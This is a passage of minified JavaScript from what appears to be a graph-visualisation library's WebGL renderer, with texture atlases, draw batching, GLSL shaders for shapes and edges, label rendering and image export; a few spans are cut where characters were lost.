T=a.scratch,S=a.canvas;T.clear(),m({x:0,row:0},T);var w=s-a.freePointer.x,k=d-w,A=u;{var C=a.freePointer.x,R=a.freePointer.row*u,I=w;S.context.drawImage(T,0,0,I,A,C,R,I,A),g[0]={x:C,y:R,w:I,h:p}}{var L=w,E=(a.freePointer.row+1)*u,D=k;S&&S.context.drawImage(T,L,0,D,A,0,E,D,A),g[1]={x:0,y:E,w:D,h:p}}a.freePointer.x=k,a.freePointer.row++},"drawWrapped"),x=o(function(){a.freePointer.x=0,a.freePointer.row++},"moveToStartOfNextRow");if(this.freePointer.x+d<=s)y();else{if(this.freePointer.row>=l-1)return!1;this.freePointer.x===s?(x(),y()):this.enableWrapping?v():(x(),y())}return this.keyToLocation.set(r,g),this.needsBuffer=!0,g},"draw")},{key:"getOffsets",value:o(function(r){return this.keyToLocation.get(r)},"getOffsets")},{key:"isEmpty",value:o(function(){return this.freePointer.x===0&&this.freePointer.row===0},"isEmpty")},{key:"canFit",value:o(function(r){if(this.locked)return!1;var n=this.texSize,i=this.texRows,a=this.getScale(r),s=a.texW;return this.freePointer.x+s>n?this.freePointer.row1&&arguments[1]!==void 0?arguments[1]:{},a=i.forceRedraw,s=a===void 0?!1:a,l=i.filterEle,u=l===void 0?function(){return!0}:l,h=i.filterType,f=h===void 0?function(){return!0}:h,d=!1,p=!1,m=qs(r),g;try{for(m.s();!(g=m.n()).done;){var y=g.value;if(u(y)){var v=qs(this.renderTypes.values()),x;try{var b=o(function(){var S=x.value,w=S.type;if(f(w)){var k=n.collections.get(S.collection),A=S.getKey(y),C=Array.isArray(A)?A:[A];if(s)C.forEach(function(E){return k.markKeyForGC(E)}),p=!0;else{var R=S.getID?S.getID(y):y.id(),I=n._key(w,R),L=n.typeAndIdToKey.get(I);L!==void 0&&!oqe(C,L)&&(d=!0,n.typeAndIdToKey.delete(I),L.forEach(function(E){return k.markKeyForGC(E)}))}}},"_loop2");for(v.s();!(x=v.n()).done;)b()}catch(T){v.e(T)}finally{v.f()}}}}catch(T){m.e(T)}finally{m.f()}return p&&(this.gc(),d=!1),d},"invalidate")},{key:"gc",value:o(function(){var r=qs(this.collections.values()),n;try{for(r.s();!(n=r.n()).done;){var i=n.value;i.gc()}}catch(a){r.e(a)}finally{r.f()}},"gc")},{key:"getOrCreateAtlas",value:o(function(r,n,i,a){var s=this.renderTypes.get(n),l=this.collections.get(s.collection),u=!1,h=l.draw(a,i,function(p){s.drawClipped?(p.save(),p.beginPath(),p.rect(0,0,i.w,i.h),p.clip(),s.drawElement(p,r,i,!0,!0),p.restore()):s.drawElement(p,r,i,!0,!0),u=!0});if(u){var f=s.getID?s.getID(r):r.id(),d=this._key(n,f);this.typeAndIdToKey.has(d)?this.typeAndIdToKey.get(d).push(a):this.typeAndIdToKey.set(d,[a])}return h},"getOrCreateAtlas")},{key:"getAtlasInfo",value:o(function(r,n){var i=this,a=this.renderTypes.get(n),s=a.getKey(r),l=Array.isArray(s)?s:[s];return l.map(function(u){var h=a.getBoundingBox(r,u),f=i.getOrCreateAtlas(r,n,h,u),d=f.getOffsets(u),p=_i(d,2),m=p[0],g=p[1];return{atlas:f,tex:m,tex1:m,tex2:g,bb:h}})},"getAtlasInfo")},{key:"getDebugInfo",value:o(function(){var r=[],n=qs(this.collections),i;try{for(n.s();!(i=n.n()).done;){var a=_i(i.value,2),s=a[0],l=a[1],u=l.getCounts(),h=u.keyCount,f=u.atlasCount;r.push({type:s,keyCount:h,atlasCount:f})}}catch(d){n.e(d)}finally{n.f()}return r},"getDebugInfo")}])})(),bqe=(function(){function t(e){Af(this,t),this.globalOptions=e,this.atlasSize=e.webglTexSize,this.maxAtlasesPerBatch=e.webglTexPerBatch,this.batchAtlases=[]}return o(t,"AtlasBatchManager"),_f(t,[{key:"getMaxAtlasesPerBatch",value:o(function(){return this.maxAtlasesPerBatch},"getMaxAtlasesPerBatch")},{key:"getAtlasSize",value:o(function(){return this.atlasSize},"getAtlasSize")},{key:"getIndexArray",value:o(function(){return Array.from({length:this.maxAtlasesPerBatch},function(r,n){return n})},"getIndexArray")},{key:"startBatch",value:o(function(){this.batchAtlases=[]},"startBatch")},{key:"getAtlasCount",value:o(function(){return this.batchAtlases.length},"getAtlasCount")},{key:"getAtlases",value:o(function(){return this.batchAtlases},"getAtlases")},{key:"canAddToCurrentBatch",value:o(function(r){return this.batchAtlases.length===this.maxAtlasesPerBatch?this.batchAtlases.includes(r):!0},"canAddToCurrentBatch")},{key:"getAtlasIndexForBatch",value:o(function(r){var n=this.batchAtlases.indexOf(r);if(n<0){if(this.batchAtlases.length===this.maxAtlasesPerBatch)throw new Error("cannot add more atlases to batch");this.batchAtlases.push(r),n=this.batchAtlases.length-1}return n},"getAtlasIndexForBatch")}])})(),Tqe=` + float circleSD(vec2 p, float r) { + return distance(vec2(0), p) - r; // signed distance + } +`,wqe=` + float rectangleSD(vec2 p, vec2 b) { + vec2 d = abs(p)-b; + return distance(vec2(0),max(d,0.0)) + min(max(d.x,d.y),0.0); + } +`,kqe=` + float roundRectangleSD(vec2 p, vec2 b, vec4 cr) { + cr.xy = (p.x > 0.0) ? cr.xy : cr.zw; + cr.x = (p.y > 0.0) ? cr.x : cr.y; + vec2 q = abs(p) - b + cr.x; + return min(max(q.x, q.y), 0.0) + distance(vec2(0), max(q, 0.0)) - cr.x; + } +`,Eqe=` + float ellipseSD(vec2 p, vec2 ab) { + p = abs( p ); // symmetry + + // find root with Newton solver + vec2 q = ab*(p-ab); + float w = (q.x1.0) ? d : -d; + } +`,nx={SCREEN:{name:"screen",screen:!0},PICKING:{name:"picking",picking:!0}},sE={IGNORE:1,USE_BB:2},FM=0,tue=1,rue=2,$M=3,Jm=4,Pk=5,K2=6,Q2=7,Sqe=(function(){function t(e,r,n){Af(this,t),this.r=e,this.gl=r,this.maxInstances=n.webglBatchSize,this.atlasSize=n.webglTexSize,this.bgColor=n.bgColor,this.debug=n.webglDebug,this.batchDebugInfo=[],n.enableWrapping=!0,n.createTextureCanvas=nqe,this.atlasManager=new xqe(e,n),this.batchManager=new bqe(n),this.simpleShapeOptions=new Map,this.program=this._createShaderProgram(nx.SCREEN),this.pickingProgram=this._createShaderProgram(nx.PICKING),this.vao=this._createVAO()}return o(t,"ElementDrawingWebGL"),_f(t,[{key:"addAtlasCollection",value:o(function(r,n){this.atlasManager.addAtlasCollection(r,n)},"addAtlasCollection")},{key:"addTextureAtlasRenderType",value:o(function(r,n){this.atlasManager.addRenderType(r,n)},"addTextureAtlasRenderType")},{key:"addSimpleShapeRenderType",value:o(function(r,n){this.simpleShapeOptions.set(r,n)},"addSimpleShapeRenderType")},{key:"invalidate",value:o(function(r){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},i=n.type,a=this.atlasManager;return i?a.invalidate(r,{filterType:o(function(l){return l===i},"filterType"),forceRedraw:!0}):a.invalidate(r)},"invalidate")},{key:"gc",value:o(function(){this.atlasManager.gc()},"gc")},{key:"_createShaderProgram",value:o(function(r){var n=this.gl,i=`#version 300 es + precision highp float; + + uniform mat3 uPanZoomMatrix; + uniform int uAtlasSize; + + // instanced + in vec2 aPosition; // a vertex from the unit square + + in mat3 aTransform; // used to transform verticies, eg into a bounding box + in int aVertType; // the type of thing we are rendering + + // the z-index that is output when using picking mode + in vec4 aIndex; + + // For textures + in int aAtlasId; // which shader unit/atlas to use + in vec4 aTex; // x/y/w/h of texture in atlas + + // for edges + in vec4 aPointAPointB; + in vec4 aPointCPointD; + in vec2 aLineWidth; // also used for node border width + + // simple shapes + in vec4 aCornerRadius; // for round-rectangle [top-right, bottom-right, top-left, bottom-left] + in vec4 aColor; // also used for edges + in vec4 aBorderColor; // aLineWidth is used for border width + + // output values passed to the fragment shader + out vec2 vTexCoord; + out vec4 vColor; + out vec2 vPosition; + // flat values are not interpolated + flat out int vAtlasId; + flat out int vVertType; + flat out vec2 vTopRight; + flat out vec2 vBotLeft; + flat out vec4 vCornerRadius; + flat out vec4 vBorderColor; + flat out vec2 vBorderWidth; + flat out vec4 vIndex; + + void main(void) { + int vid = gl_VertexID; + vec2 position = aPosition; // TODO make this a vec3, simplifies some code below + + if(aVertType == `.concat(FM,`) { + float texX = aTex.x; // texture coordinates + float texY = aTex.y; + float texW = aTex.z; + float texH = aTex.w; + + if(vid == 1 || vid == 2 || vid == 4) { + texX += texW; + } + if(vid == 2 || vid == 4 || vid == 5) { + texY += texH; + } + + float d = float(uAtlasSize); + vTexCoord = vec2(texX / d, texY / d); // tex coords must be between 0 and 1 + + gl_Position = vec4(uPanZoomMatrix * aTransform * vec3(position, 1.0), 1.0); + } + else if(aVertType == `).concat(Jm," || aVertType == ").concat(Q2,` + || aVertType == `).concat(Pk," || aVertType == ").concat(K2,`) { // simple shapes + + // the bounding box is needed by the fragment shader + vBotLeft = (aTransform * vec3(0, 0, 1)).xy; // flat + vTopRight = (aTransform * vec3(1, 1, 1)).xy; // flat + vPosition = (aTransform * vec3(position, 1)).xy; // will be interpolated + + // calculations are done in the fragment shader, just pass these along + vColor = aColor; + vCornerRadius = aCornerRadius; + vBorderColor = aBorderColor; + vBorderWidth = aLineWidth; + + gl_Position = vec4(uPanZoomMatrix * aTransform * vec3(position, 1.0), 1.0); + } + else if(aVertType == `).concat(tue,`) { + vec2 source = aPointAPointB.xy; + vec2 target = aPointAPointB.zw; + + // adjust the geometry so that the line is centered on the edge + position.y = position.y - 0.5; + + // stretch the unit square into a long skinny rectangle + vec2 xBasis = target - source; + vec2 yBasis = normalize(vec2(-xBasis.y, xBasis.x)); + vec2 point = source + xBasis * position.x + yBasis * aLineWidth[0] * position.y; + + gl_Position = vec4(uPanZoomMatrix * vec3(point, 1.0), 1.0); + vColor = aColor; + } + else if(aVertType == `).concat(rue,`) { + vec2 pointA = aPointAPointB.xy; + vec2 pointB = aPointAPointB.zw; + vec2 pointC = aPointCPointD.xy; + vec2 pointD = aPointCPointD.zw; + + // adjust the geometry so that the line is centered on the edge + position.y = position.y - 0.5; + + vec2 p0, p1, p2, pos; + if(position.x == 0.0) { // The left side of the unit square + p0 = pointA; + p1 = pointB; + p2 = pointC; + pos = position; + } else { // The right side of the unit square, use same approach but flip the geometry upside down + p0 = pointD; + p1 = pointC; + p2 = pointB; + pos = vec2(0.0, -position.y); + } + + vec2 p01 = p1 - p0; + vec2 p12 = p2 - p1; + vec2 p21 = p1 - p2; + + // Find the normal vector. + vec2 tangent = normalize(normalize(p12) + normalize(p01)); + vec2 normal = vec2(-tangent.y, tangent.x); + + // Find the vector perpendicular to p0 -> p1. + vec2 p01Norm = normalize(vec2(-p01.y, p01.x)); + + // Determine the bend direction. + float sigma = sign(dot(p01 + p21, normal)); + float width = aLineWidth[0]; + + if(sign(pos.y) == -sigma) { + // This is an intersecting vertex. Adjust the position so that there's no overlap. + vec2 point = 0.5 * width * normal * -sigma / dot(normal, p01Norm); + gl_Position = vec4(uPanZoomMatrix * vec3(p1 + point, 1.0), 1.0); + } else { + // This is a non-intersecting vertex. Treat it like a mitre join. + vec2 point = 0.5 * width * normal * sigma * dot(normal, p01Norm); + gl_Position = vec4(uPanZoomMatrix * vec3(p1 + point, 1.0), 1.0); + } + + vColor = aColor; + } + else if(aVertType == `).concat($M,` && vid < 3) { + // massage the first triangle into an edge arrow + if(vid == 0) + position = vec2(-0.15, -0.3); + if(vid == 1) + position = vec2( 0.0, 0.0); + if(vid == 2) + position = vec2( 0.15, -0.3); + + gl_Position = vec4(uPanZoomMatrix * aTransform * vec3(position, 1.0), 1.0); + vColor = aColor; + } + else { + gl_Position = vec4(2.0, 0.0, 0.0, 1.0); // discard vertex by putting it outside webgl clip space + } + + vAtlasId = aAtlasId; + vVertType = aVertType; + vIndex = aIndex; + } + `),a=this.batchManager.getIndexArray(),s=`#version 300 es + precision highp float; + + // declare texture unit for each texture atlas in the batch + `.concat(a.map(function(h){return"uniform sampler2D uTexture".concat(h,";")}).join(` + `),` + + uniform vec4 uBGColor; + uniform float uZoom; + + in vec2 vTexCoord; + in vec4 vColor; + in vec2 vPosition; // model coordinates + + flat in int vAtlasId; + flat in vec4 vIndex; + flat in int vVertType; + flat in vec2 vTopRight; + flat in vec2 vBotLeft; + flat in vec4 vCornerRadius; + flat in vec4 vBorderColor; + flat in vec2 vBorderWidth; + + out vec4 outColor; + + `).concat(Tqe,` + `).concat(wqe,` + `).concat(kqe,` + `).concat(Eqe,` + + vec4 blend(vec4 top, vec4 bot) { // blend colors with premultiplied alpha + return vec4( + top.rgb + (bot.rgb * (1.0 - top.a)), + top.a + (bot.a * (1.0 - top.a)) + ); + } + + vec4 distInterp(vec4 cA, vec4 cB, float d) { // interpolate color using Signed Distance + // scale to the zoom level so that borders don't look blurry when zoomed in + // note 1.5 is an aribitrary value chosen because it looks good + return mix(cA, cB, 1.0 - smoothstep(0.0, 1.5 / uZoom, abs(d))); + } + + void main(void) { + if(vVertType == `).concat(FM,`) { + // look up the texel from the texture unit + `).concat(a.map(function(h){return"if(vAtlasId == ".concat(h,") outColor = texture(uTexture").concat(h,", vTexCoord);")}).join(` + else `),` + } + else if(vVertType == `).concat($M,`) { + // mimics how canvas renderer uses context.globalCompositeOperation = 'destination-out'; + outColor = blend(vColor, uBGColor); + outColor.a = 1.0; // make opaque, masks out line under arrow + } + else if(vVertType == `).concat(Jm,` && vBorderWidth == vec2(0.0)) { // simple rectangle with no border + outColor = vColor; // unit square is already transformed to the rectangle, nothing else needs to be done + } + else if(vVertType == `).concat(Jm," || vVertType == ").concat(Q2,` + || vVertType == `).concat(Pk," || vVertType == ").concat(K2,`) { // use SDF + + float outerBorder = vBorderWidth[0]; + float innerBorder = vBorderWidth[1]; + float borderPadding = outerBorder * 2.0; + float w = vTopRight.x - vBotLeft.x - borderPadding; + float h = vTopRight.y - vBotLeft.y - borderPadding; + vec2 b = vec2(w/2.0, h/2.0); // half width, half height + vec2 p = vPosition - vec2(vTopRight.x - b[0] - outerBorder, vTopRight.y - b[1] - outerBorder); // translate to center + + float d; // signed distance + if(vVertType == `).concat(Jm,`) { + d = rectangleSD(p, b); + } else if(vVertType == `).concat(Q2,` && w == h) { + d = circleSD(p, b.x); // faster than ellipse + } else if(vVertType == `).concat(Q2,`) { + d = ellipseSD(p, b); + } else { + d = roundRectangleSD(p, b, vCornerRadius.wzyx); + } + + // use the distance to interpolate a color to smooth the edges of the shape, doesn't need multisampling + // we must smooth colors inwards, because we can't change pixels outside the shape's bounding box + if(d > 0.0) { + if(d > outerBorder) { + discard; + } else { + outColor = distInterp(vBorderColor, vec4(0), d - outerBorder); + } + } else { + if(d > innerBorder) { + vec4 outerColor = outerBorder == 0.0 ? vec4(0) : vBorderColor; + vec4 innerBorderColor = blend(vBorderColor, vColor); + outColor = distInterp(innerBorderColor, outerColor, d); + } + else { + vec4 outerColor; + if(innerBorder == 0.0 && outerBorder == 0.0) { + outerColor = vec4(0); + } else if(innerBorder == 0.0) { + outerColor = vBorderColor; + } else { + outerColor = blend(vBorderColor, vColor); + } + outColor = distInterp(vColor, outerColor, d - innerBorder); + } + } + } + else { + outColor = vColor; + } + + `).concat(r.picking?`if(outColor.a == 0.0) discard; + else outColor = vIndex;`:"",` + } + `),l=rqe(n,i,s);l.aPosition=n.getAttribLocation(l,"aPosition"),l.aIndex=n.getAttribLocation(l,"aIndex"),l.aVertType=n.getAttribLocation(l,"aVertType"),l.aTransform=n.getAttribLocation(l,"aTransform"),l.aAtlasId=n.getAttribLocation(l,"aAtlasId"),l.aTex=n.getAttribLocation(l,"aTex"),l.aPointAPointB=n.getAttribLocation(l,"aPointAPointB"),l.aPointCPointD=n.getAttribLocation(l,"aPointCPointD"),l.aLineWidth=n.getAttribLocation(l,"aLineWidth"),l.aColor=n.getAttribLocation(l,"aColor"),l.aCornerRadius=n.getAttribLocation(l,"aCornerRadius"),l.aBorderColor=n.getAttribLocation(l,"aBorderColor"),l.uPanZoomMatrix=n.getUniformLocation(l,"uPanZoomMatrix"),l.uAtlasSize=n.getUniformLocation(l,"uAtlasSize"),l.uBGColor=n.getUniformLocation(l,"uBGColor"),l.uZoom=n.getUniformLocation(l,"uZoom"),l.uTextures=[];for(var u=0;u1&&arguments[1]!==void 0?arguments[1]:nx.SCREEN;this.panZoomMatrix=r,this.renderTarget=n,this.batchDebugInfo=[],this.wrappedCount=0,this.simpleCount=0,this.startBatch()},"startFrame")},{key:"startBatch",value:o(function(){this.instanceCount=0,this.batchManager.startBatch()},"startBatch")},{key:"endFrame",value:o(function(){this.endBatch()},"endFrame")},{key:"_isVisible",value:o(function(r,n){return r.visible()?n&&n.isVisible?n.isVisible(r):!0:!1},"_isVisible")},{key:"drawTexture",value:o(function(r,n,i){var a=this.atlasManager,s=this.batchManager,l=a.getRenderTypeOpts(i);if(this._isVisible(r,l)&&!(r.isEdge()&&!this._isValidEdge(r))){if(this.renderTarget.picking&&l.getTexPickingMode){var u=l.getTexPickingMode(r);if(u===sE.IGNORE)return;if(u==sE.USE_BB){this.drawPickingRectangle(r,n,i);return}}var h=a.getAtlasInfo(r,i),f=qs(h),d;try{for(f.s();!(d=f.n()).done;){var p=d.value,m=p.atlas,g=p.tex1,y=p.tex2;s.canAddToCurrentBatch(m)||this.endBatch();for(var v=s.getAtlasIndexForBatch(m),x=0,b=[[g,!0],[y,!1]];x=this.maxInstances&&this.endBatch()}}}}catch(L){f.e(L)}finally{f.f()}}},"drawTexture")},{key:"setTransformMatrix",value:o(function(r,n,i,a){var s=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,l=0;if(i.shapeProps&&i.shapeProps.padding&&(l=r.pstyle(i.shapeProps.padding).pfValue),a){var u=a.bb,h=a.tex1,f=a.tex2,d=h.w/(h.w+f.w);s||(d=1-d);var p=this._getAdjustedBB(u,l,s,d);this._applyTransformMatrix(n,p,i,r)}else{var m=i.getBoundingBox(r),g=this._getAdjustedBB(m,l,!0,1);this._applyTransformMatrix(n,g,i,r)}},"setTransformMatrix")},{key:"_applyTransformMatrix",value:o(function(r,n,i,a){var s,l;Jce(r);var u=i.getRotation?i.getRotation(a):0;if(u!==0){var h=i.getRotationPoint(a),f=h.x,d=h.y;Yk(r,r,[f,d]),eue(r,r,u);var p=i.getRotationOffset(a);s=p.x+(n.xOffset||0),l=p.y+(n.yOffset||0)}else s=n.x1,l=n.y1;Yk(r,r,[s,l]),aI(r,r,[n.w,n.h])},"_applyTransformMatrix")},{key:"_getAdjustedBB",value:o(function(r,n,i,a){var s=r.x1,l=r.y1,u=r.w,h=r.h,f=r.yOffset;n&&(s-=n,l-=n,u+=2*n,h+=2*n);var d=0,p=u*a;return i&&a<1?u=p:!i&&a<1&&(d=u-p,s+=d,u=p),{x1:s,y1:l,w:u,h,xOffset:d,yOffset:f}},"_getAdjustedBB")},{key:"drawPickingRectangle",value:o(function(r,n,i){var a=this.atlasManager.getRenderTypeOpts(i),s=this.instanceCount;this.vertTypeBuffer.getView(s)[0]=Jm;var l=this.indexBuffer.getView(s);Zm(n,l);var u=this.colorBuffer.getView(s);dp([0,0,0],1,u);var h=this.transformBuffer.getMatrixView(s);this.setTransformMatrix(r,h,a),this.simpleCount++,this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()},"drawPickingRectangle")},{key:"drawNode",value:o(function(r,n,i){var a=this.simpleShapeOptions.get(i);if(this._isVisible(r,a)){var s=a.shapeProps,l=this._getVertTypeForShape(r,s.shape);if(l===void 0||a.isSimple&&!a.isSimple(r)){this.drawTexture(r,n,i);return}var u=this.instanceCount;if(this.vertTypeBuffer.getView(u)[0]=l,l===Pk||l===K2){var h=a.getBoundingBox(r),f=this._getCornerRadius(r,s.radius,h),d=this.cornerRadiusBuffer.getView(u);d[0]=f,d[1]=f,d[2]=f,d[3]=f,l===K2&&(d[0]=0,d[2]=0)}var p=this.indexBuffer.getView(u);Zm(n,p);var m=r.pstyle(s.color).value,g=r.pstyle(s.opacity).value,y=this.colorBuffer.getView(u);dp(m,g,y);var v=this.lineWidthBuffer.getView(u);if(v[0]=0,v[1]=0,s.border){var x=r.pstyle("border-width").value;if(x>0){var b=r.pstyle("border-color").value,T=r.pstyle("border-opacity").value,S=this.borderColorBuffer.getView(u);dp(b,T,S);var w=r.pstyle("border-position").value;if(w==="inside")v[0]=0,v[1]=-x;else if(w==="outside")v[0]=x,v[1]=0;else{var k=x/2;v[0]=k,v[1]=-k}}}var A=this.transformBuffer.getMatrixView(u);this.setTransformMatrix(r,A,a),this.simpleCount++,this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()}},"drawNode")},{key:"_getVertTypeForShape",value:o(function(r,n){var i=r.pstyle(n).value;switch(i){case"rectangle":return Jm;case"ellipse":return Q2;case"roundrectangle":case"round-rectangle":return Pk;case"bottom-round-rectangle":return K2;default:return}},"_getVertTypeForShape")},{key:"_getCornerRadius",value:o(function(r,n,i){var a=i.w,s=i.h;if(r.pstyle(n).value==="auto")return kf(a,s);var l=r.pstyle(n).pfValue,u=a/2,h=s/2;return Math.min(l,h,u)},"_getCornerRadius")},{key:"drawEdgeArrow",value:o(function(r,n,i){if(r.visible()){var a=r._private.rscratch,s,l,u;if(i==="source"?(s=a.arrowStartX,l=a.arrowStartY,u=a.srcArrowAngle):(s=a.arrowEndX,l=a.arrowEndY,u=a.tgtArrowAngle),!(isNaN(s)||s==null||isNaN(l)||l==null||isNaN(u)||u==null)){var h=r.pstyle(i+"-arrow-shape").value;if(h!=="none"){var f=r.pstyle(i+"-arrow-color").value,d=r.pstyle("opacity").value,p=r.pstyle("line-opacity").value,m=d*p,g=r.pstyle("width").pfValue,y=r.pstyle("arrow-scale").value,v=this.r.getArrowWidth(g,y),x=this.instanceCount,b=this.transformBuffer.getMatrixView(x);Jce(b),Yk(b,b,[s,l]),aI(b,b,[v,v]),eue(b,b,u),this.vertTypeBuffer.getView(x)[0]=$M;var T=this.indexBuffer.getView(x);Zm(n,T);var S=this.colorBuffer.getView(x);dp(f,m,S),this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()}}}},"drawEdgeArrow")},{key:"drawEdgeLine",value:o(function(r,n){if(r.visible()){var i=this._getEdgePoints(r);if(i){var a=r.pstyle("opacity").value,s=r.pstyle("line-opacity").value,l=r.pstyle("width").pfValue,u=r.pstyle("line-color").value,h=a*s;if(i.length/2+this.instanceCount>this.maxInstances&&this.endBatch(),i.length==4){var f=this.instanceCount;this.vertTypeBuffer.getView(f)[0]=tue;var d=this.indexBuffer.getView(f);Zm(n,d);var p=this.colorBuffer.getView(f);dp(u,h,p);var m=this.lineWidthBuffer.getView(f);m[0]=l;var g=this.pointAPointBBuffer.getView(f);g[0]=i[0],g[1]=i[1],g[2]=i[2],g[3]=i[3],this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()}else for(var y=0;y=this.maxInstances&&this.endBatch()}}}},"drawEdgeLine")},{key:"_isValidEdge",value:o(function(r){var n=r._private.rscratch;return!(n.badLine||n.allpts==null||isNaN(n.allpts[0]))},"_isValidEdge")},{key:"_getEdgePoints",value:o(function(r){var n=r._private.rscratch;if(this._isValidEdge(r)){var i=n.allpts;if(i.length==4)return i;var a=this._getNumSegments(r);return this._getCurveSegmentPoints(i,a)}},"_getEdgePoints")},{key:"_getNumSegments",value:o(function(r){var n=15;return Math.min(Math.max(n,5),this.maxInstances)},"_getNumSegments")},{key:"_getCurveSegmentPoints",value:o(function(r,n){if(r.length==4)return r;for(var i=Array((n+1)*2),a=0;a<=n;a++)if(a==0)i[0]=r[0],i[1]=r[1];else if(a==n)i[a*2]=r[r.length-2],i[a*2+1]=r[r.length-1];else{var s=a/n;this._setCurvePoint(r,s,i,a*2)}return i},"_getCurveSegmentPoints")},{key:"_setCurvePoint",value:o(function(r,n,i,a){if(r.length<=2)i[a]=r[0],i[a+1]=r[1];else{for(var s=Array(r.length-2),l=0;l0}},"isLayerVisible"),l=o(function(d){var p=d.pstyle("text-events").strValue==="yes";return p?sE.USE_BB:sE.IGNORE},"getTexPickingMode"),u=o(function(d){var p=d.position(),m=p.x,g=p.y,y=d.outerWidth(),v=d.outerHeight();return{w:y,h:v,x1:m-y/2,y1:g-v/2}},"getBBForSimpleShape");r.drawing.addAtlasCollection("node",{texRows:t.webglTexRowsNodes}),r.drawing.addAtlasCollection("label",{texRows:t.webglTexRows}),r.drawing.addTextureAtlasRenderType("node-body",{collection:"node",getKey:e.getStyleKey,getBoundingBox:e.getElementBox,drawElement:e.drawElement}),r.drawing.addSimpleShapeRenderType("node-body",{getBoundingBox:u,isSimple:sqe,shapeProps:{shape:"shape",color:"background-color",opacity:"background-opacity",radius:"corner-radius",border:!0}}),r.drawing.addSimpleShapeRenderType("node-overlay",{getBoundingBox:u,isVisible:s("overlay"),shapeProps:{shape:"overlay-shape",color:"overlay-color",opacity:"overlay-opacity",padding:"overlay-padding",radius:"overlay-corner-radius"}}),r.drawing.addSimpleShapeRenderType("node-underlay",{getBoundingBox:u,isVisible:s("underlay"),shapeProps:{shape:"underlay-shape",color:"underlay-color",opacity:"underlay-opacity",padding:"underlay-padding",radius:"underlay-corner-radius"}}),r.drawing.addTextureAtlasRenderType("label",{collection:"label",getTexPickingMode:l,getKey:zM(e.getLabelKey,null),getBoundingBox:GM(e.getLabelBox,null),drawClipped:!0,drawElement:e.drawLabel,getRotation:i(null),getRotationPoint:e.getLabelRotationPoint,getRotationOffset:e.getLabelRotationOffset,isVisible:a("label")}),r.drawing.addTextureAtlasRenderType("edge-source-label",{collection:"label",getTexPickingMode:l,getKey:zM(e.getSourceLabelKey,"source"),getBoundingBox:GM(e.getSourceLabelBox,"source"),drawClipped:!0,drawElement:e.drawSourceLabel,getRotation:i("source"),getRotationPoint:e.getSourceLabelRotationPoint,getRotationOffset:e.getSourceLabelRotationOffset,isVisible:a("source-label")}),r.drawing.addTextureAtlasRenderType("edge-target-label",{collection:"label",getTexPickingMode:l,getKey:zM(e.getTargetLabelKey,"target"),getBoundingBox:GM(e.getTargetLabelBox,"target"),drawClipped:!0,drawElement:e.drawTargetLabel,getRotation:i("target"),getRotationPoint:e.getTargetLabelRotationPoint,getRotationOffset:e.getTargetLabelRotationOffset,isVisible:a("target-label")});var h=xx(function(){console.log("garbage collect flag set"),r.data.gc=!0},1e4);r.onUpdateEleCalcs(function(f,d){var p=!1;d&&d.length>0&&(p|=r.drawing.invalidate(d)),p&&h()}),Aqe(r)};o(Cqe,"getBGColor");o(zhe,"getLabelLines");zM=o(function(e,r){return function(n){var i=e(n),a=zhe(n,r);return a.length>1?a.map(function(s,l){return"".concat(i,"_").concat(l)}):i}},"getStyleKeysForLabel"),GM=o(function(e,r){return function(n,i){var a=e(n);if(typeof i=="string"){var s=i.indexOf("_");if(s>0){var l=Number(i.substring(s+1)),u=zhe(n,r),h=a.h/u.length,f=h*l,d=a.y1+f;return{x1:a.x1,w:a.w,y1:d,h,yOffset:f}}}return a}},"getBoundingBoxForLabel");o(Aqe,"overrideCanvasRendererFunctions");o(_qe,"clearWebgl");o(Dqe,"clearCanvas");o(Lqe,"createPanZoomMatrix");o(Ghe,"setContextTransform");o(Rqe,"drawSelectionRectangle");o(Nqe,"drawAxes");o(Mqe,"drawAtlases");o(Iqe,"getPickingIndexes");o(Oqe,"findNearestElementsWebgl");o(VM,"drawEle");o(Vhe,"renderWebgl");Rf={};Rf.drawPolygonPath=function(t,e,r,n,i,a){var s=n/2,l=i/2;t.beginPath&&t.beginPath(),t.moveTo(e+s*a[0],r+l*a[1]);for(var u=1;u0&&s>0){m.clearRect(0,0,a,s),m.globalCompositeOperation="source-over";var g=this.getCachedZSortedEles();if(t.full)m.translate(-n.x1*h,-n.y1*h),m.scale(h,h),this.drawElements(m,g),m.scale(1/h,1/h),m.translate(n.x1*h,n.y1*h);else{var y=e.pan(),v={x:y.x*h,y:y.y*h};h*=e.zoom(),m.translate(v.x,v.y),m.scale(h,h),this.drawElements(m,g),m.scale(1/h,1/h),m.translate(-v.x,-v.y)}t.bg&&(m.globalCompositeOperation="destination-over",m.fillStyle=t.bg,m.rect(0,0,a,s),m.fill())}return p};o(Pqe,"b64ToBlob");o(aue,"b64UriToB64");o(Hhe,"output");Sx.png=function(t){return Hhe(t,this.bufferCanvasImage(t),"image/png")};Sx.jpg=function(t){return Hhe(t,this.bufferCanvasImage(t),"image/jpeg")};qhe={};qhe.nodeShapeImpl=function(t,e,r,n,i,a,s,l){switch(t){case"ellipse":return this.drawEllipsePath(e,r,n,i,a);case"polygon":return this.drawPolygonPath(e,r,n,i,a,s);case"round-polygon":return this.drawRoundPolygonPath(e,r,n,i,a,s,l);case"roundrectangle":case"round-rectangle":return this.drawRoundRectanglePath(e,r,n,i,a,l);case"cutrectangle":case"cut-rectangle":return this.drawCutRectanglePath(e,r,n,i,a,s,l);case"bottomroundrectangle":case"bottom-round-rectangle":return this.drawBottomRoundRectanglePath(e,r,n,i,a,l);case"barrel":return this.drawBarrelPath(e,r,n,i,a)}};Bqe=Whe,Cr=Whe.prototype;Cr.CANVAS_LAYERS=3;Cr.SELECT_BOX=0;Cr.DRAG=1;Cr.NODE=2;Cr.WEBGL=3;Cr.CANVAS_TYPES=["2d","2d","2d","webgl2"];Cr.BUFFER_COUNT=3;Cr.TEXTURE_BUFFER=0;Cr.MOTIONBLUR_BUFFER_NODE=1;Cr.MOTIONBLUR_BUFFER_DRAG=2;o(Whe,"CanvasRenderer");Cr.redrawHint=function(t,e){var r=this;switch(t){case"eles":r.data.canvasNeedsRedraw[Cr.NODE]=e;break;case"drag":r.data.canvasNeedsRedraw[Cr.DRAG]=e;break;case"select":r.data.canvasNeedsRedraw[Cr.SELECT_BOX]=e;break;case"gc":r.data.gc=!0;break}};Fqe=typeof Path2D<"u";Cr.path2dEnabled=function(t){if(t===void 0)return 